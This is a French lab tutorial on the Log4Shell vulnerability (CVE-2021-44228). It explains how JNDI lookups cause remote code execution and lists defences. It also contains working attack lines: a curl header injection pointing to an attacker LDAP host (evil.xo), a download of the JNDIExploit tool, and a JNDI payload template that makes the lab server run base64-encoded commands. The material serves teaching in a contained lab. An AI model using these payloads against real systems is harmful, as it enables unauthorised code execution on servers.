CVE-2021–44228 Demo

1. Introduction à CVE-2021–44228

Fin 2021, la plus grande nouvelle dans le monde de la cybersécurité était la vulnérabilité Log4j, identifiée sous le numéro CVE-2021-44228, également connue sous le nom de Log4Shell. Elle a été jugée comme la plus critique avec un score de 10 dans le système d'évaluation des vulnérabilités CVSS, et considérée comme la vulnérabilité la plus importante depuis Heartbleed et ShellShock. Certains l'ont même qualifiée de « vulnérabilité de niveau bombe nucléaire », ce qui montre l'ampleur de son impact. Ce projet analyse CVE-2021-44228 et propose une mise en pratique en laboratoire.

2. À propos de Log4j

Un fichier journal (logfile) enregistre les événements survenus dans un système d'exploitation ou un logiciel en cours d'exécution, ou les messages échangés entre utilisateurs d'un logiciel de chat. De nombreux systèmes d'exploitation, frameworks logiciels et programmes incluent des systèmes de journalisation. Java dispose d'un excellent package de journalisation appelé Log4j. Ce package appartient à l'Apache Software Foundation, d'où son nom complet Apache Log4j.

Log4j est un outil très pratique, largement utilisé par les programmes Java. Les ingénieurs logiciels ont souvent besoin d'écrire des données d'exécution dans des fichiers journaux ou dans d'autres bases de données pour une utilisation ultérieure. C'est là qu'intervient Log4j : il peut recevoir une chaîne de caractères (par exemple un identifiant utilisateur saisi sur un écran de connexion) et l'écrire ailleurs (par exemple dans un champ de saisie de données d'un processus d'authentification). En plus de la copie/coller de base, Log4j peut également examiner et interpréter le contenu de la chaîne. Cette interprétation est une action dangereuse, car à moins que le programme n'ait d'abord nettoyé la chaîne, des problèmes peuvent facilement survenir lors de l'interprétation. Log4j ne nettoie pas la chaîne avant de l'interpréter, ce qui donne aux attaquants la possibilité de lancer une attaque par injection.

3 CVE-2021–44228

CVE-2021-44228 est une vulnérabilité majeure car elle permet à un attaquant non authentifié d'exécuter du code à distance (RCE - Remote Code Execution) sur un serveur Java. La vulnérabilité provient de la manière dont log4j traite les messages de journalisation. Si un attaquant envoie un message traité (contenant une chaîne comme ${jndi:ldap://rogueldapserver.com/a}), cela peut entraîner le chargement d'une classe de code externe ou la recherche de message (message lookup) et l'exécution de ce code, conduisant ainsi à une RCE.

Voici le flux de base d'une RCE.

L'attaquant envoie une requête avec une attaque par injection au serveur vulnérable. Par exemple : envoi d'une requête http
```
$ curl vulnerable_server -H 'X-Api-Version: ${jndi:ldap://evil.xo/x}'
```
La chaîne envoyée est transmise à log4j pour être enregistrée dans le journal. En même temps, log4j reçoit également ${jndi:ldap://evil.xo/x}
Log4j examine et interprète le contenu de la chaîne, puis JNDI (Java Naming and Directory Interface) interroge le serveur LDAP. LDAP est un protocole réseau qui assure le contrôle d'accès et la maintenance d'informations distribuées via le protocole IP.
Le serveur LDAP est un serveur malveillant. Après avoir reçu la requête JNDI, il analyse le contenu injecté et renvoie à JNDI le répertoire demandé, contenant une classe Java malveillante ou des instructions.
Le serveur vulnérable exécute la réponse reçue de JNDI, l'injection de l'attaquant réussit.

Comment se défendre contre la vulnérabilité Log4j

Utiliser la dernière version de Log4j pour reconstruire le package du programme (la version actuelle est 2.17.xx). Consultez également le site de l'Apache Foundation pour les derniers correctifs.
Mettre en place un WAF (Web Application Firewall) avec des règles de détection pour filtrer les chaînes d'entrée de log4j. Cependant, cette méthode traite les symptômes et non la cause, car un attaquant peut cacher la chaîne, par exemple en utilisant un encodage base64 pour échapper à la détection par analyse de texte.
Désactiver temporairement la fonction de journalisation jusqu'à ce qu'un correctif soit appliqué ou
que le code soit mis à jour. Vous devrez peut-être commenter tous les appels à Log4j, ce qui peut entraîner la perte de certaines fonctionnalités de l'application, par exemple l'impossibilité de transférer un message d'un utilisateur à un autre. D'ailleurs, c'est ainsi que cette vulnérabilité a été découverte : des joueurs de Minecraft ont constaté que s'ils collaient des instructions Log4j dans la zone de discussion, ces messages étaient exécutés directement comme des commandes au lieu d'être transmis comme des messages.

Environnement de laboratoire

1. Configuration de l'environnement

Téléchargez d'abord la VM SEED Ubuntu 20.04. Cette VM fournit un environnement Docker préinstallé. Télécharger

Télécharger JNDIExploit

$ wget -P /LDAP_server https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zip

Configuration des conteneurs

$ docker-compose build  # Créer l'image du conteneur
$ docker-compose up     # Démarrer le conteneur
$ docker-compose down   # Arrêter le conteneur

# Alias pour les commandes Compose ci-dessus
$ dcbuild   # Alias pour : docker-compose build
$ dcup      # Alias pour : docker-compose up
$ dcdown    # Alias pour : docker-compose down

Commande pour les conteneurs

$ dockps        # Alias pour : docker ps --format "{{.ID}} {{.Names}}"
$ docksh <id>   # Alias pour : docker exec -it <id> /bin/bash

# L'exemple suivant montre comment obtenir un shell dans hostC
$ dockps
b1004832e275 LDAP-10.9.0.5
9652715c8e0a vulnerable-app
$ docksh b1
root@b1004832e275:/#

Pour simplifier les étapes, tous les serveurs sont sur le même LAN

Tâches du laboratoire

Tâche 1 : Utiliser Log4j

Dans cette tâche, l'utilisateur se familiarise avec le fonctionnement de log4j. L'utilisateur peut utiliser l'en-tête X-Api-Version pour enregistrer un journal avec log4j.

# <> ce qui se trouve entre crochets doit être modifié par l'utilisateur
$ curl <server:ip> -H 'X-Api-Version: <version-number>'

Si le serveur a correctement analysé votre requête, il renverra Hello World!. Veuillez noter dans le rapport le résultat renvoyé par le serveur et vérifier si le serveur a correctement analysé la requête et enregistré le journal.

Tâche 2 : Lancer Log4Shell

En 2013, le package Log4j a ajouté le plugin JNDILookup, permettant aux développeurs d'utiliser JNDI combiné à LDAP pour obtenir des objets de données Java JNDITutorial externes.

Ensuite, nous allons utiliser log4j combiné à JNDIExploit pour faire exécuter au serveur les commandes que nous voulons.

# <> ce qui se trouve entre crochets doit être modifié par l'utilisateur
$ curl <server:ip> -H 'X-Api-Version: ${jndi:ldap://<ldap>:1389/Basic/Command/Base64/<content>}'

Créez un fichier secret.txt dans le dossier /tmp et vérifiez dans le serveur si le fichier a bien été créé.

Note-1 : <content> ne peut pas contenir directement une commande, il doit être converti
Note-2 : Comme vulnerable-app ne dispose pas de /bin/bash comme shell, pour vérifier le fichier, utilisez la commande docker

$ docker exec vulnerable-app ls /tmp

Utilisation détaillée de JNDIExploit

Log4Shell-CVE-2021-44228-Demo

Populaires